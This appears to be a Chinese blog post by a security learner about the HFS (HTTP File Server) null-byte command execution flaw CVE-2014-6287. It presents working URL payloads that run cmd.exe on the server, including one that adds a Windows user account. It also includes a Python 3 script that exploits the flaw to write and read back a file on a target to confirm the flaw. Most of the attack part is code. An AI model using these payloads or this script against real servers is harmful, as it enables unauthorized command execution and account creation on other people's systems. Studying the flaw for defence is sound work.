1 前言
学习python安全,发现HFS(CVE2014-6287)的检测脚本多为python2编写,遂模仿着前辈的脚本改了个python3版本。
2 HFS(HTTP File Server)
影响版本:2.3c以前的2.3x版本
这里使用2.3a版本,下载链接
安装成功后使用管理员权限打开就可,浏览器访问 http://你的IP地址 。
3 漏洞描述
HTTP File Server 2.3c及之前版本中的parserLib.pas文件中的’findMacroMarker’函数中存在安全漏洞,该漏洞源于parserLib.pas文件没有正确处理空字节。远程攻击者可借助搜索操作中的’%00’序列利用该漏洞执行任意程序。
4 手工及脚本
4.1 pyload
通用:
http://127.0.0.1:8080/?search==%00{.exec|cmd.exe /c [Command-String].}
添加用户:
http://127.0.0.1:8080/?search==%00{.exec|cmd.exe /c net user test1234 1234 /add.}
执行成功的前提是要有权限。
4.2 python3脚本
# coding=utf-8
"""
*python版本为3.6.5
*这个脚本是检测是否有HFS(CVE2014-6287)漏洞的
*当HFS版本处于2.3c机器之前的HFS2.3x版本均可以
*脚本原理:
(1)生成随机字符串,利用命令执行写入远端服务器的HFS.exe目录下的一个文件。
(2)然后再次利用这里漏洞将文件内容读取出来放在响应报文的头部字段set-cookie中。
(3)通过判断响应报文该字段是否包含随机字符串来确定是否存在漏洞。
"""
# import需要的库
import uuid # 生成随机标记位
import argparse # 命令行参数
import requests # HTTP请求
import time # 日期和时间
randomflag = uuid.uuid1() # 设置一个全局的随机标志位,这个标志位需要作为result文件的内容发送到服务端,并用来请求验证
def attack_p(target, port): # 定义攻击方法,照搬前辈,向服务器添加一个result文件并写入uuid标志位
attack_url = r"http://%s:%s/" % (str(target), str(
port)) + "?search==%00" + r"{.exec|cmd.exe /c del result}" + r"{" + ".exec|cmd.exe /c echo>result " + str(
randomflag) + "." + "}" # 定义请求链接
try:
response = requests.get(attack_url, timeout=120) # 获取请求结果,超时时间为120
except Exception:
print("[-] 地址或端口错误!") # 出错时输出
return False
if response.status_code != 200:
print('[-] 状态码错误,地址不通!') # 状态码错误时输出
return False
return True # 成功利用漏洞返回Ture
def verify(target, port): # 定义验证方法,照搬前辈
verify_url = r"http://%s:%s/" % (
str(target), str(port)) + "?search==%00" + "{.cookie|out|value={.load|result.}.}" # 定义请求连接
try:
response = requests.get(verify_url, timeout=120) # 获取请求结果,超时时间为120
except Exception:
return False
if response.headers.get("set-cookie").find(str(randomflag)) >= 0: # 判断返回设置的cookie是否大于0,如果返回Ture则表明漏洞存在
return True
else:
return False
def scan(target, port): # 定义扫描方法,该方法调用以上两个方法,只有都为Ture的情况下输出返回Ture
if attack_p(target, port):
time.sleep(5)
if verify(target, port):
return True
return False
# 程序入口
if __name__ == "__main__": # 自行百度一下,关于引用的
print('[+] 测试开始...') # 提示程序开始执行
parser = argparse.ArgumentParser() # 设置命令行参数
parser.add_argument('-t', dest='target', help='添加目标IP地址') # 添加参数-t,接收IP地址
parser.add_argument('-p', dest='port', help='添加目标端口') # 添加参数-p,接收端口
args = parser.parse_args()
if args.target in ["", None]: # 判断输入的IP如果为空或者None,则终端程序运行
print("[-] 参数错误,正确例子如下:") # 输出一段提示信息
print("#python HFS3.py -t 127.0.0.1 [-p 8080]")
exit(0)
print('[+] 目标地址为:' + args.target) # 打印实际执行命令的IP地址
if args.port in ["", None] or int(args.port) <= 0 or int(
args.port) >= 65535: # 判断输入的端口是否为空或者None,或者小于0,大于65535,如果为这些设置端口为80
args.port = 80
print('[+] 目标端口为:' + args.port) # 打印实际执行命令的端口
if scan(args.target, args.port): # 如果scan为Ture,执行,否则执行else
print("[+] 目标存在命令执行漏洞!")
else:
# 大段的提示信息,优化上面的判断结构可能会更好的精确程序发生错误时的问题所在,这里直接提示所有的问题可能
print("""
[-] 目标不存在漏洞!可能原因如下:
[-] 1.IP地址错误
[-] 2.端口错误
[-] 3.不存在漏洞
""")
print("[-] 程序结束") # 提示程序结束